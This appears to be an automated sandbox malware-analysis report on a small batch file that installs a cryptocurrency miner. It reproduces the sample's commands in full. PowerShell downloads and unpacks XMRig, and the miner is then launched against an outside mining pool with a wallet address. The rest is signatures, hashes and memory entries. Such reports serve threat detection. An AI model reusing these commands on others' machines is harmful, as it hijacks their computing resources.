Analysis

  • max time kernel
    1769s
  • max time network
    1771s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (9).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 48 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2064
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4656

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f341ac8240322f033f2f5d0ffe08c78695b998ae0c6403f6f03da0d123c8920d
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 3.2MB
        • SHA256 4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 6.8MB
        • SHA256 51016857e3f05e38d339dd2291b5fe952fe899664ce060eeff549ca869b58d56
        • MD5 SHA1 SHA512 SSDEEP

        memory/2064-5-0x00007FF876630000-0x00007FF87701C000-memory.dmp

        memory/2064-10-0x000001E0EEBA0000-0x000001E0EEC16000-memory.dmp

        memory/2064-8-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-7-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-25-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-4-0x000001E0EE810000-0x000001E0EE832000-memory.dmp

        memory/2064-26-0x00007FF876630000-0x00007FF87701C000-memory.dmp

        memory/2064-27-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-28-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-29-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp

        memory/2064-34-0x00007FF876630000-0x00007FF87701C000-memory.dmp

        memory/3432-42-0x0000024F42990000-0x0000024F429A0000-memory.dmp

        memory/3432-41-0x0000024F42990000-0x0000024F429A0000-memory.dmp

        memory/3432-39-0x00007FF876630000-0x00007FF87701C000-memory.dmp

        memory/3432-66-0x0000024F42990000-0x0000024F429A0000-memory.dmp

        memory/3432-93-0x0000024F42BF0000-0x0000024F42BFA000-memory.dmp

        memory/3432-80-0x0000024F43120000-0x0000024F43132000-memory.dmp

        memory/3432-117-0x00007FF876630000-0x00007FF87701C000-memory.dmp

        memory/4656-120-0x000002999EFC0000-0x000002999EFE0000-memory.dmp

        memory/4656-121-0x000002999F000000-0x000002999F020000-memory.dmp

        memory/4656-122-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-123-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-125-0x000002999F040000-0x000002999F060000-memory.dmp

        memory/4656-124-0x000002999F020000-0x000002999F040000-memory.dmp

        memory/4656-126-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-127-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-129-0x000002999F040000-0x000002999F060000-memory.dmp

        memory/4656-128-0x000002999F020000-0x000002999F040000-memory.dmp

        memory/4656-130-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-131-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-132-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-188-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-187-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-186-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-185-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-184-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-183-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-182-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-181-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-180-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-179-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-178-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-177-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-176-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-175-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-174-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-173-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-172-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-171-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-170-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-169-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-168-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-167-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-166-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-165-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-164-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-163-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-162-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-161-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-160-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-159-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-158-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-157-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-156-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-155-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-154-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-153-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-152-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-151-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-150-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-149-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-148-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-147-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-146-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-145-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-144-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-143-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-142-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-141-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-140-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-139-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-138-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-137-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-136-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-135-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-134-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp

        memory/4656-133-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp